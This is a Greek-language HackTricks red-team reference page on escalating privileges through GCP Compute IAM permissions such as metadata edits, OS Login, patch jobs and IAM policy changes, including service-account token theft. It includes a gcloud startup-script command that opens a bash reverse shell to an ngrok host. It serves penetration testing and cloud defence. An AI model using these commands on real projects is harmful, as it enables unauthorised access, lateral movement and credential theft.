GCP - Compute Privesc

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Compute

Για περισσότερες πληροφορίες σχετικά με το Compute και το VPC (δίκτυο) στο GCP ελέγξτε:

GCP - Compute Enum

Σημειώστε ότι για να εκτελέσετε όλες τις επιθέσεις εξέλιξης προνομίων που απαιτούν τροποποίηση των μεταδεδομένων της εικόνας (όπως η προσθήκη νέων χρηστών και κλειδιών SSH) χρειάζεται να έχετε δικαιώματα actAs πάνω στο SA που είναι συνδεδεμένο με την εικόνα, ακόμη κι αν το SA είναι ήδη συνδεδεμένο!

compute.projects.setCommonInstanceMetadata

Με αυτήν την άδεια μπορείτε να τροποποιήσετε τις πληροφορίες μεταδεδομένων μιας εικόνας και να αλλάξετε τα εξουσιοδοτημένα κλειδιά ενός χρήστη, ή να δημιουργήσετε έναν νέο χρήστη με δικαιώματα sudo. Έτσι, θα μπορείτε να εκτελέσετε μέσω SSH σε οποιαδήποτε εικονική μηχανή και να κλέψετε τον Λογαριασμό Υπηρεσιών GCP με τον οποίο λειτουργεί η εικόνα. Περιορισμοί:

  • Σημειώστε ότι οι Λογαριασμοί Υπηρεσιών GCP που λειτουργούν σε εικόνες VM έχουν από προεπιλογή ένα πολύ περιορισμένο εύρος εφαρμογής

  • Θα πρέπει να είστε σε θέση να επικοινωνήσετε με τον διακομιστή SSH για να συνδεθείτε

Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτήν την άδεια ελέγξτε:

GCP - Add Custom SSH Metadata

Μπορείτε επίσης να εκτελέσετε αυτήν την επίθεση προσθέτοντας νέο startup-script και επανεκκινώντας την εικόνα:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Αυτή η άδεια δίνει τα ίδια προνόμια με την προηγούμενη άδεια αλλά για συγκεκριμένες μονάδες αντί για ολόκληρο έργο. Οι ίδιες εκμεταλλεύσεις και περιορισμοί όπως και για την προηγούμενη ενότητα ισχύουν.

compute.instances.setIamPolicy

Αυτού του είδους άδεια θα σας επιτρέψει να χορηγήσετε στον εαυτό σας έναν ρόλο με τις προηγούμενες άδειες και να εξελίξετε τα προνόμια καταχρώμενοι τις.

compute.instances.osLogin

Εάν το OSLogin είναι ενεργοποιημένο στη μονάδα, με αυτή την άδεια μπορείτε απλά να εκτελέσετε gcloud compute ssh [INSTANCE] και να συνδεθείτε στη μονάδα. Δεν θα έχετε root προνόμια μέσα στη μονάδα.

compute.instances.osAdminLogin

Εάν το OSLogin είναι ενεργοποιημένο στη μονάδα, με αυτή την άδεια μπορείτε απλά να εκτελέσετε gcloud compute ssh [INSTANCE] και να συνδεθείτε στη μονάδα. Θα έχετε root προνόμια μέσα στη μονάδα.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Είναι δυνατόν να δημιουργήσετε ένα εικονικό μηχάνημα με εκχωρημένο Λογαριασμό Υπηρεσίας και να κλέψετε το τεκμήριο του λογαριασμού υπηρεσίας προσπελαύνοντας τα μεταδεδομένα για να εξελίξετε τα προνόμιά σας σε αυτόν.

Το σενάριο εκμετάλλευσης για αυτήν τη μέθοδο μπορεί να βρεθεί εδώ.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Εάν έχετε τις άδειες osconfig.patchDeployments.create ή osconfig.patchJobs.exec μπορείτε να δημιουργήσετε ένα patch job ή αναπτύξεις. Αυτό θα σας επιτρέψει να μετακινηθείτε πλάγια στο περιβάλλον και να κερδίσετε εκτέλεση κώδικα σε όλες τις μονάδες υπολογιστών εντός ενός έργου.

Εάν θέλετε να εκμεταλλευτείτε χειροκίνητα αυτό, θα πρέπει να δημιουργήσετε είτε ένα patch job είτε μια αναπτυξιακή διαδικασία για ένα patch job εκτελέστε:

gcloud compute os-config patch-jobs execute --file=patch.json

Για να αναπτύξετε μια αναπτυξιακή διαδικασία:

gcloud compute os-config patch-deployments create my-update --file=patch.json

Υπάρχουν αυτοματοποιημένα εργαλεία όπως το patchy που υπάρχουν για την ανίχνευση χαλαρών άδειων και την αυτόματη μετακίνηση πλάγια.

Μπορείτε επίσης να καταχραστείτε αυτό για μόνιμη παραμονή.

compute.machineImages.setIamPolicy

Χορηγήστε στον εαυτό σας επιπλέον δικαιώματα στην εικόνα μηχανής.

compute.snapshots.setIamPolicy

Χορηγήστε στον εαυτό σας επιπλέον δικαιώματα σε ένα αντίγραφο ασφαλείας δίσκου.

compute.disks.setIamPolicy

Χορηγήστε στον εαυτό σας επιπλέον δικαιώματα σε ένα δίσκο.

Παράκαμψη Εμβέλειας Πρόσβασης

Ακολουθώντας αυτόν τον σύνδεσμο θα βρείτε μερικές ιδέες για να προσπαθήσετε να παρακάμψετε τις εμβέλειες πρόσβασης.

Τοπική Ανόδος Προνομίων στην Μονάδα Υπολογιστή GCP

GCP - local privilege escalation ssh pivoting

Αναφορές

Last updated